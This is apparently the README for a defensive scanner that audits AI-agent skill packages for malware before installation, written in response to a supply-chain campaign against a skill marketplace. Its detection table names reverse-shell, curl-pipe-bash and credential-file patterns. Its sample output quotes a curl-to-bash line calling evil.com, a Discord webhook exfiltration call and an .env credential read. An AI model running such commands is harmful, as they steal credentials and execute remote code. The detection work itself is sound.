Clawhub Skill Scanner

Skill Security Audit

MANDATORY security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

When to Use

Run this audit BEFORE any skill installation:

Quick Start

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill
JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json
Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

What It Detects

🔴 CRITICAL (Blocks Installation)

| Category | Patterns | |----------|----------| | Reverse Shells | nc -e, bash /dev/tcp, Python socket shells | | Curl-Pipe-Bash | curl \| bash, wget && chmod +x | | Credential Access | ~/.ssh, ~/.aws, ~/.openclaw, .env files | | Data Exfiltration | Discord/Slack webhooks, POST with secrets | | Malicious Domains | glot.io, pastebin (known malware hosts) | | Persistence | crontab, systemd, LaunchAgents, .bashrc | | Command Injection | eval(), exec(), subprocess shell=True | | Obfuscation | base64 decode pipes, pickle, marshal |

🟡 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:

Philosophy

We intentionally don't warn on common patterns like:

This reduces noise so real threats stand out.

Risk Scoring

CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution

| Score | Level | Action | |-------|-------|--------| | 0-20 | 🟢 SAFE | Auto-approve | | 21-50 | 🟡 CAUTION | Review findings | | 51-80 | 🔶 DANGER | Detailed review required | | 81-100 | 🔴 BLOCKED | Do NOT install |

Sample Output

════════════════════════════════════════════════════════════
  SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════
📊 RISK SCORE: 90/100 - 🔴 BLOCKED
🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env access (ClawHavoc target!)
    Code: open(os.path.expanduser('~/.clawdbot/.env'))
📁 FILES SCANNED: 5
📏 TOTAL LINES: 230
════════════════════════════════════════════════════════════
  🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════

Integration with clawhub

Create a wrapper script to auto-scan before installation:

#!/bin/bash
clawhub-secure: Scan before install
SKILL="$2"
TEMP="/tmp/skill-audit-$$"
Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"
Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 Installation blocked by security scan"
    exit 1
fi
rm -rf "$TEMP"

References

See references/threat-patterns.md for detailed pattern explanations.

Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated large-scale supply chain attacks via AI agent skill marketplaces.

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill
JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json
Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe